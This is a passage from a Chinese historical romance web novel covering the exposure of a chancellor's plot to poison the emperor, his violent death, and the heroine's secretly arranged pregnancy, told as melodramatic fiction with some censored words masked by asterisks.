武泽跪了出来,拱手道:“微臣熟读!”
“那就将大魏律法第三条念给丞相听听。”
武泽拱手,一字一句地念:“国以君为尊,以先祖先帝为至上之尊,但凡有冒犯者,悖其训诫,亦或不尊其旨意,上至皇亲,下至黎民,皆处以斩首之刑!”
字字铿锵,听得石鸿唯脸色一白,立马改了口:“臣失言!”
皇后看得焦急,跺脚道:“有话好好说,先将这剑放了!陛下还在此,怎能动兵器!”
殷戈止颔首,扔了剑,负手而道:“圣上驾崩,关系重大,既然大家都觉得父皇是被**,那在场的人,一个也别走。本王已经让人去传太医和仵作,稍后,相信会有真相。”
殷沉玦有点慌了,皱眉道:“这么大的雨,难不成大家都这样淋着?”
“好说。”抬手指了指后头的庙宇,殷戈止道:“可以去里头躲避。”
说罢,躬身下去将魏文帝的尸体捞起来,带头就往那边走。
众人纷纷行礼,太子却是吓得跳到了一边,畏畏缩缩地看着,跟在皇后身边往前走。
这等形状,在场的人都看在眼里。朝中不乏立场中正之人,见此场景,心里都有了计较。
皇后觉得不安,轻轻拉了拉石鸿唯的袖子。
石鸿唯眯眼,看了看四周围着的护卫,突然道:“文武百官毕竟是外人,此庙宇有两层,一层就留给陛下和皇室各位主子,其余人上楼去吧。”
封明皱眉:“为何?都在一起也没什么不妥。”
“封将军年纪轻,很多殡葬的规矩想来是不清楚的。”石鸿唯冷笑:“陛下刚刚驾崩,身边只能留亲近有血缘之人,闲杂人等,都该回避。”
“那也该让龙体在高处,岂有让臣子上楼的道理?”
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“龙体不宜搬上搬下!”一拂衣袖,石鸿唯怒道:“此中规矩,封将军还是莫插手的好!”
旁边的大臣推推挤挤地开始往楼上走,殷戈止冷眼瞧着,不少护卫跟着上去,这些人等会怕是想下来也不成了。
轻笑一声,他安静地等着,等着四周只剩下皇室中人和石鸿唯,才开口道:“石丞相不打算上去?”
“老夫还有话想同王爷说。”眼神幽深,石鸿唯一挥手,外头的护卫便悄无声息地进来,将在场的二十余皇室之人统统围住。
“丞相这是做什么?”有皇子慌张地问。
气氛顿时紧张起来,除了南平尚沉浸在皇帝驾崩的悲伤之中,其余人脸色都不太好看。
殷戈止转头,伸手将观止和灵殊以及那昏迷不醒的人一并护在身后,然后才不急不慢地看向石鸿唯:“丞相但说无妨。”
“陛下是为谁所害,你我心里都清楚。”一脸严肃,石丞相拱手道:“谁都忌惮王爷的无双武艺和深沉心计,就连陛下也不例外。如今陛下驾崩,太子无依,老夫实在担心王爷会谋朝篡位,故而,想送王爷一程。”
风从外头卷进来,吹得殷戈止墨发微扬,他抿唇,淡淡地开口道:“父皇是死在谁手里,本王心里很清楚,现在就等一个证据,便可报这杀父之仇。丞相若是想在证据到来之前对本王下手,那就别怪本王不客气了。”
一听这话,石鸿唯轻笑:“不客气?王爷打算怎么不客气?为防有人**,老夫可是特意调了五百精兵守住此处。王爷纵是有通天的本事,又能如何?”
像是配合他的话一般,四周站着的护卫纷纷刀剑出鞘,寒光凛凛,吓得其余人纷纷低呼。
然而,对面的殷戈止脸上依旧没什么表情,身上只着贴身长袍却半分不显单薄,反而瞧着令人生畏。
“多年前的关苍海,就是因为不善言辞,不会反抗,所以连冤也没能为自己喊一声。”轻叹一口气,他抬眼,目光扫过殷沉玦,扫过石皇后,最后落在石鸿唯的身上,低声道:
“多年之后的今日,本王不会让悲剧重演。谁该死,谁才死。不该死的,你们别想动一根毫毛!”
“喝!”
话音落,外头骤然响起一阵如雷般的士兵喝声,像是响应他一般,声音之大,回响于整个山林,半晌难散。
石鸿唯没反应过来,往外走了两步,伸头看了看。
“启禀主子。”观止这时候才开口:“救援令已经传达至澧都,澧都护城军和禁军共计三千余人正在赶来,一千护城军已经集结在庙宇四周,确保皇室宗亲们的周全!”
此话一出,皇亲国戚们纷纷松了口气,石鸿唯却是不敢置信地回头,看向殷戈止。
目光平静地与他对上,殷戈止薄唇轻启:“本王打仗从来先布援军,石丞相功夫没下够,看来今日要大败而归了。”
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第176章 穷途末路
怎么可能!石鸿唯呆呆地摇头:“澧都之中无异动,你怎么会提前布了援兵!”
“澧都的确无异动。”外头有人进来,雨水顺着盔甲往下流,水花四溅,铁甲铿锵,声若洪钟:“但王爷救援令一出,禁军和护城军责无旁贷!”
石鸿唯皱眉,待看清这人的面容,脸色就沉了沉:“廉统领。”
廉恒取了头盔,先朝殷戈止行礼,而后皱眉道:“廉恒负保卫澧都之责,更有责护皇室宗亲周全。石丞相私自调兵,围堵龙台山,敢问意欲何为?”
石鸿唯不吭声了,眼珠子有些焦急地转动着,像是在想对策。
皇后着急了,娇声开口:“皇上驾崩,此处若论身份地位,也当以本宫为尊,什么时候轮到亲王和臣子大呼小叫?”
“父皇生前有旨,后宫不得干政。”封明拱手道:“恕臣直言,娘娘听则矣,勿妄言。”
“你!”石皇后横眼过去,盯着封明便骂:“我皇室之事,什么时候轮到你来插手?!”
“娘娘。”挑了挑眉,封明道:“微臣是南平公主的驸马。”
也是皇室中人啊,为何插不得手?
脸色一青,石皇后咬牙,还想再说呢,就听得外头一声高喊:“太医来了——”
众人心里都是一跳,石鸿唯回神,二话不说就伸手将太医和后头的仵作拦住,怒喝道:“大胆!陛下已经驾崩,仙体岂可由人肆意探查!”
“石丞相。”殷戈止淡淡地开口:“你是怕人查出来,父皇是中慢性毒而死的吗?”
身子僵了僵,石鸿唯哼笑:“老夫为何要怕?是慢性毒又如何?”
“若是慢性毒,就与本王和关清越无关了。”殷戈止抬眼,盯着旁边的殷沉玦道:“慢性毒发作迟缓,且服食量要大,只有长期在父皇身边的人才有机会下。”
一直在皇帝身边的,那就是宫里的人了。恰好这段时间皇帝龙体有恙,一直是皇后在侍药。
石皇后脸色有点发白,殷沉玦更是慌张,额头上全是冷汗。
“说起来我也觉得奇怪。”封明耸肩,朗声开口:“方才陛下突然倒地,气息尚存,王爷让寻太医,我四处都找了,压根没看见太医的影子。按照规矩,陛下出行一般都要太医随侍。敢问石丞相,您安排的随行众人之中,为何没有太医?是不是知道陛下要出事,故意不让太医相救?”
宗亲们哗然,皇后和太子身边站着的人瞬间就退开了去。
石鸿唯沉默。
他觉得今天的计划已经是天衣无缝了,皇帝早上吃了最后一副药,在他的算计之中驾崩的,他顺势就可以将罪名扣在殷沉璧的头上,然后送太子登基。
一切都是水到渠成啊,可怎么就变成现在这样的情形了呢?
怪殷沉璧和封明巧舌如簧吗?还是该怪廉恒来得太快?亦或是该怪他能调动的兵力不足,无法与殷沉璧打个你死我活?
都怪!什么都怪!这些事情压根就不在他能想到的范围之内!若是殷沉璧和封明不说话,他现在已经撺掇百官将殷沉璧的罪名给坐实了!若是廉恒不来,这五百士兵足以将殷沉璧就地正法!若是他还能调动兵力,他现在也还有翻身的机会……
然而,说什么都晚了,这一仗,他败了。
有些狼狈地抓着太医的衣裳不想让他过去,奈何那老太医力气颇大,加上旁边的封明拽他,没一会儿老太医就挣脱了钳制,上前查看皇帝的遗体。
所有宗亲转身回避,殷沉玦颤颤巍巍地抓着自己母后的衣角,低声喊:“母后……”
石皇后神色惊慌,抓紧他示意别出声,脑子里一片空白。
不知道过了多久,身后的仵作和太医重新将那三爪龙纹的银袍盖在魏文帝的脸上,然后拱手朝众人行礼:“陛下乃**而亡,此毒已深入肺腑,服食量较大,且服食时间较长,导致龙体内脏日益衰竭……微臣先前问诊于陛下,只觉陛下龙体虚弱,但问饮食,并无不妥,也没敢往**上头想,如今一看……是微臣失职!”
南平听着,终于回过了神,双眼通红地看向石氏:“皇后娘娘!”
被这一声呵斥吓得抖了抖身子,石皇后连连后退,摇头道:“不关本宫的事!”
现在狡辩还有用吗?没有!南平有些失控地尖叫一声,猛地就扑向皇后,礼数都不顾,哭着就打她:“你还我父皇命来!”
殷沉玦想上前,刚动一步,咽喉上就多了一只手。
“弑君为不忠。”殷戈止的声音如鬼魅一般在他背后响起:“弑父为不孝。”
吓得腿一软,殷沉玦连连摇头,劈手就指向石鸿唯:“都是丞相的主意啊,与我和母后没有关系的!是他说父皇**我就可以早些继位,我……我是被逼的!”
脸色铁青,石鸿唯张口骂道:“**!”
他们还可以抵死不认的,谁知道这个不中用的太子,竟然先把他给卖了?
气得眼前花白,石鸿唯左右看了看,反正已经是死路了,那他还顾忌什么?
猛地伸手将正在与皇后厮打的南平公主抓了过来,石鸿唯两指扣着她的咽喉,红了眼怒喝:“都别动!”
封明正制着皇后,殷戈止捏着太子,两个人都没能反应过来,南平就已经被石鸿唯捏着,退到了一边。
“石丞相!”廉恒低喝:“您这是要**吗?”
“**?”哈哈大笑,石鸿唯咬牙切齿地道:“都走到这一步了,**又如何,不**又如何?反正不会有好下场了。”
“哥哥……”石皇后脸色惨白,浑身都颤抖起来。
如释重负地出了口气,石鸿唯看向殷戈止:“王爷是赢了,赢得挺漂亮,你的人多,完全可以将我们处死在这里。太子没了,你便能顺利登基。好啊,好得很!”
殷戈止面无表情地看着他,没吭声,像是在等他把话说完。
外头雨声更大,气氛万分压抑,女眷已经嘤嘤哭了起来,宗亲们都躲在廉恒身后,恐惧地看着那一方的对峙。
转头看向旁边桌上放着的魏文帝遗体,石鸿唯嗤笑:“自封的千古明君,死得这么惨,倒也是前无古人。”
“石丞相。”他
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挟持着的南平咬着牙开口:“父皇待你不薄,你怎能在他英灵未安之时,说这种大逆不道的话?”
“英灵?”一听这词石鸿唯就笑了:“宫里长大的公主就是好啊,什么都不知道,当真以为您的父皇是个明君么?他要是明君,就不会坑杀民间学者,不会任用奸臣小人,不会逼得忠臣良将走投无路,纷纷弃官!”
南平怔愣,眼睛睁得大大的,有些茫然地看向对面自己的皇兄。
殷戈止皱眉:“石丞相,慎言。”
“魏文帝还活着的时候,我就够慎言的了。”嗤笑一声,石鸿唯咬牙:“初入仕途,老夫何尝不是一心报国?可他呢?提拔赵旭也不肯提拔老夫!赵旭那种窝囊废,能有什么大用处?咱们皇帝可不看别的,就看字啊,字写得好,就有官当!王爷知道老夫这丞相之位怎么来的吗?哈哈,练了两年的字,写了一封歌颂陛下的陈情表,加上当时贵妃的美言,换来的!”
“您说,这样的皇帝,该死不该死啊?朝里没剩几个走正道的好官,不都是他逼的吗!我给他下毒,有什么错!”
殷戈止沉默,南平倒吸了几口凉气,呆呆地睁着眼听着,一时哭都哭不出来了。
“我石家人,走到现在这一步,谈何容易?”笑得眼泪直流,石鸿唯摇头:“当官这么多年,我从来不敢行错踏错,朝中的石家人,与我来往都不多,生怕皇帝觉得我结党营私,威胁了他的皇权。可今儿这多年的筹划都毁了,毁在你的手里!你的手里!”
愤怒地看向殷戈止,石鸿唯有些疯狂地道:“你不让我活,那你最心爱的皇妹也一并跟我**吧!”
最后几个字嘶吼得破了音,石鸿唯神色狰狞,手上青筋暴起。南平顿时被他掐得脸色发白,痛苦地挣扎!
殷戈止瞳孔微缩,暴怒地掐着殷沉玦问:“你连太子的性命也不顾了?!”
“我的命都难保,还管别人?”低低地笑了一声,石鸿唯一用力就打算送南平上西天!
然而,就在此刻,一把长刀倏地带着寒气从背后而来,狠狠地砍在了他的后颈上!刀刃切开皮肉,切断经脉,砍在骨头上铮然作响。
四周的空气好像都突然凝固在了这一瞬,石鸿唯手上一松,有些傻眼。想转头往背后看看,却怕一转自己的脑袋就没了。
他没反应过来,呆呆地转着眼珠子想,怎么会呢?谁反应这么快,会在这个时候来杀他?殷戈止和封明都在对面站着啊……
后颈上的刀被人拔了,鲜血四溅,他缓缓朝后倒去,眼睛睁得很大,很是想不明白。
视线翻转,他看见了庙宇那画了壁画的穹顶,再往后翻,便看见一张满是络腮胡须的脸。
这张脸他见过啊,当时抓关清越的时候,他在街上跟着廉恒盘查百姓,盘查得可认真了,是个护城军。
诶……这个护城军为什么将胡子都扯了呢?为什么又举起了刀,狠狠朝他的身上砍过来?
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第177章 送您一个礼物
刀落下来的时候,那人还喊着什么,喊着什么呢?
“你这个**凶手!!!”抹了胡须的风月跟疯了似的,举着刀就往石鸿唯身上砍,刀刀见血,声嘶力竭:“你竟然杀了魏文帝!你竟然敢杀了魏文帝!!!”
南平跌倒在地上,咳嗽着刚缓过气,就被这血腥的场景重新吓傻了。
观止和灵殊也没想到风月会突然醒过来。而且反应比谁都快,一听石鸿唯说是他下的毒,伸手就抢了旁边护卫手里的刀,朝着石鸿唯就砍了过去!
不得不说,这种情况之下,她这举动很快速有效地救了南平公主一命,换做任何一个士兵,都不一定有这么大的胆子敢直接**当朝丞相。
风月敢,不仅敢砍,还想当场将他**万段!
石鸿唯呆愣住了,连刀落在自己身上都不觉得疼,慢慢地打量着这穿着护卫衣裳的人,突然就认出了这张脸。
“关……关……”
“关你祖坟冒青烟!”双手捏着刀柄,风月眼睛血红,站在他旁边,狠狠举起了刀,想一刀**他胸腔!
然而,背后有人飞身过来,伸手便抬住了她的手腕。
“石丞相。”殷戈止的声音在旁边响起,平静地道:“打仗最忌操之过急,过早给自己定了胜负,便会军心溃散,自取灭亡。”
“其实刚刚就算太子指证,本王也不会当场取你们性命。等回澧都再审,太子完全可以说是因为被本王挟持所以胡说的,你石家要获罪,也还有挣扎的余地。可惜你失了理智,挟持公主,对罪名供认不讳。有这么多皇室宗亲在场为证,你石家上下,一个也逃不掉。”
一听这话,石鸿唯眼珠子都要瞪出来了,咬牙切齿地看着殷戈止,恨意迸发如山洪,仿佛下一秒就要跳起来将他给咬死!
然而,说完这话,殷戈止就收了手,犹自在用力的风月只觉得手腕一轻,握着刀就狠狠**了石鸿唯的心口!刀切肉绽,皮肉撕拉搅合着肋骨断裂和心脏破碎的声音清晰地响起。刀拔出,鲜血飞溅,染了风月半张脸。
一瞬间,风月觉得自己心里积郁难泄的洪水找到了豁口,终于倾泻了一点儿。
但,也只是一点儿而已!
她扭头,眼神有点恐怖地看向殷沉玦和皇后。
“风月。”瞧着场面要控制不住,殷戈止连忙低喊她一声,伸手抓住了她的手腕。
殷沉玦被石鸿唯的死震得没回过神,但皇后到底是见过大世面的人,很快就反应了过来,看着风月道:“你是什么人!竟如此大胆!”
余光瞧着这人即将骂出声,殷戈止一把就捂住了她的嘴,面色镇定地道:“此人为救公主,诛杀叛臣,回去是当赏的。只是她太过忠于陛下,听丞相认罪,有些无法自控……封将军,先将这人带出去。”
“是。”封明立马跳了过来,朝风月微微摇头,一只手捏住她两只手腕,捂着她的嘴就将她往外头带。
风月气疯了,张口就咬,伸脚就踹!**才忠于狗皇帝呢!你全家都忠于狗皇帝!
封明皱眉,任由她咬着踢着,愣是将她钳制住了,蹿出门,躲到旁边的屋檐下头去。
“别闹。”喉咙有点紧,封明将她抵在墙上,认真地道:“殷戈止会让他们不得好死的,你冲动会白白丢了性命。”
摇头甩开他的手,风月眼里的神色近乎绝望,声音都嘶哑得不像话:“我本来就没想活着!这么多年了,这么多年了!我就等着今日来取狗皇帝的性命,结果他却死在了别人手里?!你要我怎么不冲动?我现在就想把里头姓殷的全砍了,让他们也尝尝什么叫满门抄斩!”
说着,便开始挣扎,想挣脱他的双手。
“月儿。”封明垂眸,手上力道没松,语气却软了:“我知道你恨,可你进去也杀不了那么多的人。更何况,殷皇室其他的人并没有大罪过,你这样做,与魏文帝有什么区别?”
冷笑一声,风月抬头看着他,咬牙切齿地道:“我跟他没区别怎么了?我就算跟他一样丧心病狂又怎么了?没人规定我必须是个好人啊!好人多惨啊,被人杀了全家还必须顾及仁义道德不能杀仇人全家,凭什么啊?都当坏人好了,坏人才痛快呢,活得还久!”
“清越!”封明急了:“他有今日这般的下场,就是因为作恶太多,你也想像他一样不得好死?!”
“对!”认真地点头,风月道:“我就是想不得好死,怎么了!”
双目对上,一方歇斯底里,一方心疼不已。
“我舍不得。”垂了眸子,封明捏着她的手腕哑声道:“我舍不得你死。”
风月一僵,皱眉看着他。
两人之间突然就只剩了雨声,淅淅沥沥的。
半晌,大概是想起自己如今的身份了,封明苦笑,盯着地面继续道:“尹将军也舍不得你,罗副将也舍不得你,还有史冲、秋夫人、灵殊……那满院子的人都是陪你一起走到现在的,你**,他们怎么办?还有殷戈止。”
抬头从雕花窗户的间隙里远远看过去,封明低笑:“别看他总是一副很厉害的样子,我总觉得,你要是**,他会崩溃的。”
呆呆地跟着他扭头,风月看见了窗户上精致的鹤舞雕花,从仙鹤的翅膀下看过去,殷戈止立于人群之中,神色自若,目光凌厉,正朝着太子和皇后说着什么。旁边的宗亲们纷纷点头应和,廉恒一挥手,外头的护城军便涌了进去,将皇后和太子扣押住。同时,二楼上被监禁着的大臣们也得救了,纷纷下来看情况。
石鸿唯**,在场皇亲皆可作证太子和石家谋害魏文帝欲提早登基,文武百官骇然,大殿里瞬间一片嘈杂之声。
那么吵闹的地方,殷戈止却一身白衣遗世独立,仿佛什么都惊扰不了他,只在人群汹涌的时候,护了一下观止和灵殊。
的确是不用她操心吧,太子和皇后肯定不会有好下场,但她的仇,已经是永远也报不了了。
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> 喉咙一甜,风月微微弯腰,终于还是一口血吐了出来。艳红的颜色溅在地上,染了封明的衣角。
“月儿!”瞳孔紧缩,封明立马朝里头喊了一声:“太医!”
里头的人争论不休,嘈杂之中,没人听见外头的声音,但看似在走神的殷戈止却是神色一紧,转头便拉着太医出来了。
看着那朝这边大步走来的人,封明一愣,低头看了看怀里已经闭眼的风月,微微叹息了一声。
难得殷大殿下脸上露出那般的神情,她却没能看见,多可惜啊。要是看见了,说不定她会心软一点点,放过殷沉璧,也放过她自己。
庙宇里的大臣挨个出门上车,在护城军的护送之下回去澧都。魏文帝的遗体被放进了龙车,南平表情复杂地坐上去守着,要启程之时,看了看外头的殷戈止。
“皇兄。”扁扁嘴,她问:“你不一起走吗?”
“我稍后就到,你们先回去。”背上背了个人,殷戈止身子却站得笔直,平静地摇了摇头。
南平皱眉,有些疑惑地瞧了两眼,却还是放下了车帘。封明上马,跟在车旁,拉着缰绳没再回头,一夹马腹,便领着车队缓缓上路。
“王爷。”灵殊提着裙子过来,仰头看着他道:“这姿势对主子不太好,您还是将她放在马车上吧——我们来的时候的那辆马车还在旁边停着。”
深深地看了这小丫头一眼,殷戈止微微皱眉,突然觉得她这模样有点眼熟,背脊挺得笔直,神色严肃,颇有风骨。
迟疑地点头,他跟着观止往马车的方向走,余光看着灵殊,忍不住开口问了一句:“你到底是什么人?”
灵殊一顿,扭头笑得天真无邪:“王爷这话问得奇怪,奴婢是主子的贴身丫鬟,从四年前开始就是了。”
“你平时不是这个模样的。”微微皱眉,殷戈止道:“伪装了这么久,有何目的?”
歪了歪脑袋,灵殊摇头:“王爷想太多了,奴婢的命是主子救的,这一辈子没什么大志气,就是想以后给主子养老,让她有好日子过而已,别无他求。”
马车到了,殷戈止将风月放下来,小心翼翼地抱进去,然后冷眼看着灵殊道:“跟我绕弯子没什么意思,不如提前说清楚,省得我用手段。”
见识过他手段的小丫头吓得缩了缩肩膀,跟着进了马车,撇嘴道:“奴婢还是个小孩子呢,王爷也这么堤防?”
“你今日的表现,可半分不像个孩子。”殷戈止眯眼,眼里隐隐有了戒备,甚至伸手将躺在自己腿上的风月给护住了。
灵殊抿唇,耸肩道:“平常主子做的事情,奴婢都知道,只是没放在心上,只顾着吃东西了,让您觉得奴婢呆傻。今日突然机灵起来,您不习惯。但奴婢不会做坏事,倒是想送王爷一个礼物。”
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第178章 遵旨
“礼物?”殷戈止皱眉,疑惑地看着灵殊。
灵殊眨眼,叹息着道:“主子在梦回楼的时候,是时常喝避子汤的,那是青楼姑娘惯常要喝的东西,奴婢也就一直帮她准备着,每每都端给她喝。”
心里沉了沉,殷戈止闭眼:“她这是不想与我有瓜葛。”
“是啊。”毫不留情地点头,灵殊道:“奴婢虽然不知道您与主子之间发生过什么,但奴婢看得出来,主子对您很不一样,但却也不像是全心全意喜欢您。”
这个问题她一直没问主子,直到后来回到魏国,默默地听了不少秘密,东拼西凑起来,才总算知道这两人之间是怎么回事。
主子是关家遗孤,王爷却是间接害了关家满门的人。他们可能曾经相爱过,但现在立场不同,难相厮守。也就是说,大仇一报,主子连活下去的理由都没有。
“奴婢只是不想让主子死。”扁扁嘴,灵殊揉了揉有些发酸的鼻子,语气低落了些:“她分明说要等着我以后赚钱孝顺她的,可瞧这些行径,压根没想等到我长大……她是个骗子,只管自己报仇。”
她呢?她以后要买绿豆糕给谁吃?
心尖微微一疼,殷戈止垂眸,眼神陡然黯淡。
可不就是个骗子么?还说要留着命给关苍海刻碑,却是早就算好了要与魏文帝同归于尽。差点,当真是只差一点,他就要掉进那无边的地狱,永不超生了。
“所以。”停顿了片刻,灵殊挺了挺背脊,一脸小孩子赌气的模样,咬牙道:“从踏进魏国开始,主子要喝的避子汤,统统被我换成了补身子的药!”
正沉浸在悲伤里的殷戈止一愣,像是没听懂,有点茫然地抬头看着面前这小丫头。
抬了抬下巴,灵殊道:“奴婢想让主子怀个孩子,算是给王爷的礼物,也能支撑着主子继续活下去。不管怎么样,奴婢希望王爷能加把劲,拿走这份礼物!”
外头驾着车的观止一个没坐稳,差点从车辕上掉下去!马车震了震,殷戈止呆愣地将风月搂紧。
“奴婢问过大夫了。”半点没开玩笑的神色,灵殊很认真地道:“大夫说月信前半个月左右最易成胎,主子的月信在月底,也就是说,月中前后,无论王爷用什么手段,请务必将主子……”
“月中么?”打断她的话,殷戈止眼里有光闪了闪,突然问:“方才那太医给她把脉,是怎么说的?”
灵殊一愣,低头想了想,道:“说这个小兵看起来是急火攻心,伤了肺腑,脉象紊乱,需要好生调养。”
“他当她是男儿,所以说脉象紊乱。”眼珠子轻轻晃动起来,一向镇定的殷大皇子突然就乱了章法,抱着风月竟然想站起来!
结果可想而知,马车顶不够高,但够结实,有脑袋撞上去,那也是“咚”地一声响。
灵殊愕然,看着殷戈止这着急乱窜的模样,突然反应了过来,也跟着着急乱窜,扯开车帘就喊:“观止大人,快,找太医!”
观止道:“太医跟着那边的仪仗从官道回宫了啊。”
“那你就快点驾车!”殷戈止低喝:“越快越好!”
灵殊立马补充:“别太颠簸!”
观止:“……”
谁来教教他,怎么样驾车才会又快又不颠簸?这可是山路啊!
可能是被后头车厢里这两个人的情绪感染了,观止憋了一口气,选了最平的路,一路狂奔回了王府!
王府门口堵着不少大臣,都是听闻了消息赶过来想与殷戈止议事的。然而,好不容易看见了王府的马车,车上的人下来却压根没看他们一眼,抱起个穿着盔甲的士兵,竟然直接就冲了进去。
“王爷!王爷!”
外头惊呼声不断,殷戈止压根没理会,将人抱进主屋,关上门亲手给更了衣,然后才放了灵殊进来。
灵殊麻利地给风月打水擦脸,又理了理头发。在等观止请大夫来的空隙里,顺便去将自己身上的衣裳给换了。
大夫来把脉,本来气定神闲的,结果被王爷和旁边的丫鬟盯得紧张不已,手都抖了。
“这……这位姑娘看起来是体虚,似乎有些滑脉,但不明显。”仔细把了半晌,大夫才敢开口道:“先吃点补身子的药,再过一段时间才好确诊。”
殷戈止皱眉,什么是滑脉?他对医术之事没有半点涉猎,完全听不明白。
灵殊听明白了,喜上眉梢,推了观止去跟着大夫抓药,然后关上门便道:“滑脉是喜脉啊!脉来流利,如盘走珠!但大夫说不明显的话,就是月份小了,还不太能确定,再养上几日,方能下定论!”
被她这一串连珠带炮的话轰得反应迟缓,殷戈止眯眼:“也就是说,不能确定她现在到底有没有身子,只是有可能?”
刚刚还笑着的脸瞬间被这句话打垮了,灵殊不高兴地道:“您就不能说点好听的吗?”
“无妨。”摇摇头,殷戈止眼神坚定起来,伸手抚上风月的肚子,认真地道:“就算现在还没有,我也能让她再怀上。”
“……”
这话说得可真够不要脸的!灵殊捂脸,想想也是为自家主子好,暂时就不计较了!
风月犹自沉睡,看起来是当真累了。大杂院里的一群人都在外头守着,十几个脑袋凑在一起,听灵殊嘀嘀咕咕地说着话。
“魏文帝已经驾崩,关家也沉冤得雪,少主已经没别的事可以做了。”秋夫人叹息:“灵殊丫头说得有道理,咱们得劝着少主,看着她,不能让她想不开。”
“要想得开也难啊。”罗昊抿唇:“她什么都没了。”
“瞎说!”灵殊瞪他:“不是还有我们呢么!”
“是啊。”尹衍忠点头:“少主已经背着这血海深仇四年了,也该让她放下来,好好过自己的日子。”
众人纷纷应和。
可是,他们是这样想,风月却好像不打算配合,这一觉睡下去,一直没醒不说,到了晚上便发起了高热,嘴里呓语不断,任凭旁边的人怎么喊也醒不过来。
“老爹……”
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“风月。”
“魏文帝不能死……”
“关清越!”
殷戈止的脸色很难看,坐在床边将她的脑袋放在自己怀里,一边换着她额上的帕子,一边不断地喊着她。
屋子里气氛沉重,旁边站了一溜儿老臣,个个胡须都花白了,颤颤巍巍地道:“王爷,宫里还乱着呢王爷……”
不耐烦地转头看着他们,殷戈止冷声道:“与本王何干?皇后和太子不是交由宗正定罪了么?”
“可……”老臣连忙上前道:“陛下新丧,太子获罪,您要是再不出来稳定朝政,这魏国天下怕是要大乱啊!”
“有什么好乱的?”殷戈止皱眉:“五皇子不是还在么?送他登基就是。”
一听这话,几个老臣齐刷刷地就跪了下去,哭喊着道:“王爷!五皇子才十五岁啊王爷!”
“十五岁怎么了?”殷戈止沉了脸道:“本王十五岁都能上战场了!”
“王爷!”后头跪着的武泽沉声道:“所以这皇位只有您堪坐,您战功赫赫,又是皇上生前最宠爱的金印亲王,更是长子,于情于理,都只有您登基,才是人心所归!”
收回目光,继续给风月换着帕子,殷戈止冷声道:“她还没醒,本王没空。”
众人心里都是一凉,天知道这一向冷静顾全大局的孝亲王,怎么就在这儿犟着不走了。床上这姑娘是谁啊?没人敢打听。那她要怎么才能醒啊?
老臣们愁啊,愁得头发白得更多了。
知道殷戈止闭门不出,石氏一族便趁机为乱,作抵死顽抗。然而,陈卫尉和廉统领带人,毫不留情地就将他们**了下去,该关的关,该斩的等着斩。石氏一族不少高官不服气,他们是多少年的名门望族了,怎么能因为几个人**,就这么对他们呢?
不服气,要闹腾,哪怕被关在牢里,也要动用残留的势力,大声喊冤,争取活路。
风月的高热退了,人醒过来喝了碗粥,竟然又继续睡,一睡又接着发热。殷戈止担忧之下,脾气很不好,正好撞见廉恒来禀告,说牢里有人生事。
生事是吧?好说,殷戈止起身就去了宫里。
文武百官每日都依旧上朝,没有皇帝的朝政,都是他们自己在下头议论纷纷,惶恐不安。终于看见了孝亲王,众大臣这叫一个感激涕零啊,差点跪下来直接山呼万岁。
“有件事,想问问各位的看法。”看着这些人,殷戈止道:“石氏一族谋逆,主犯已经伏法,奈何族人死性不改,依旧有反骨。今儿日子不错,适合给石氏一族定罪行刑,各位以为呢?”
问他们的看法?几个老臣眼珠子一转,立马跪下来就喊:“遵旨!”
如今这形势岌岌可危,只有殷戈止能力挽狂澜啊,他们还不想做**之臣,不想看着魏国走向灭亡!既然如此,那就只能强行尊他为帝了!
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第179章 做个选择吧
说起不要脸,这都啥时候了,脸能当饭吃吗?不能!所以这一个个老臣跪得那叫一个端正,后头的臣子们一看,犹犹豫豫地,也跟着都跪了下去。
“臣等遵旨!”
殷戈止眯眼,盯着为首的御史大夫乔堂杰,冷笑道:“大人觉得,这样一来,本王便会愿意继位?”
“王爷!”乔堂杰一把年纪了,可怜巴巴地抬头看着他:“这帝王之位,无上的尊荣,是多少人趋之若鹜的?您是名正言顺的皇子,为何反而不想要呢?”
“这位置有何好处?”面无表情地看着他,殷戈止道:“责任重大不说,行任何事都会束手束脚。不说别的,就说后宫。父皇在位之时,后宫之人皆由大人们选送,每年十名。若哪年父皇不想收人,各位不是还会上奏折哭闹么?”
众人都是一愣,你看看我,我看看你。乔堂杰埋头就道:“这些都是小事,可以再议!”
“谁想与你们再议?”殷戈止淡淡地道:“王爷当得好好的,想娶谁不想娶谁都无人干涉,本王是多想不开,才去跳你们挖好的陷阱?”
说罢,挥手便道:“此次进宫,本王只是想定石家之罪,以平澧都朝政之乱,该说的都说了,就此告辞。”
“王爷!”后头挽留之声四起,殷戈止头也没回,甩了袍子便回了王府。
乔堂杰一看,这不是个事儿啊!眼瞧着魏国都要出兵跟吴国一起抗宋了,再无人坐这皇位平定人心,魏国岂不是要散了架?要不是孝亲王,换个人去坐这皇位,那也坐不稳啊!可这孝亲王,怎么就……
诶,等等,王爷刚刚是不是说了什么话?
脑子里灵光一闪,再回想一下在孝亲王府里看见的场景,乔堂杰眯眼,很快便明白了其中关键,立马吼了一声:“老夫有法子请孝亲王登基!”
一听这话,其余大臣立马围了过来,甭管是**的,还是原先就支持殷沉璧的,现在都急切地盼着孝亲王来收拾残局,稳定局面,要他们做啥都可以啊!
殷戈止回了王府,往主屋的床榻上看了一眼。风月还皱着眉闭着眼,与其说是昏迷,其实是压根就不想醒。
招手让大夫再来把了次脉,殷戈止和灵殊都跟着大夫去了外室。
“如何?”
“是滑脉无疑!”大夫肯定地道:“吃了几帖药,现在脉象清楚多了,很是顺滑,的确是怀了身孕。”
一片暗沉的眼里陡然有星星亮了,殷戈止深吸一口气,握了握拳,表情尚能维持镇定,眼神却是遏制不住地流出光芒开出花来!
旁边的灵殊就耿直多了,直接跳了起来高兴地喊:“太好了!”
有了有了,终于是有了!不枉她哄着骗着主子喝补身子的药啊,还骗她说味道不同是因为魏国和吴国的药方不同!哈哈哈,老天爷终于还是没有薄待主子!
兴奋地转了一个圈儿,灵殊正笑着呢,冷不防就对上了后头一双睁开的眼睛。
风月脸色苍白,只穿了寝衣,光着脚踩在地毯上,站在隔断旁边看着他们。
灵殊的笑声戛然而止,殷戈止察觉到了不对,慢慢回头。
批头散发的风月看了看他,又看了看灵殊,最后看一眼那大夫,然后抬手,缓缓地捂住了自己的肚子,脸上表情很是茫然。
“主……主子。”眨眨眼,灵殊蹦蹦跳跳地过去,一扫刚刚的僵硬,笑着道:“您怎么下床来了?奴婢还说等您醒了再告诉您这个好消息呢。”
好消息?冷笑一声,风月眯眼看着她:“我怀孕了,是好消息?”
“那可不!”背脊发凉,灵殊硬着头皮道:“新生命的来临,定然算好消息啊。”
对于这个好消息,风月有点消化不了,呵呵两声,转头便呆呆地往床上走。
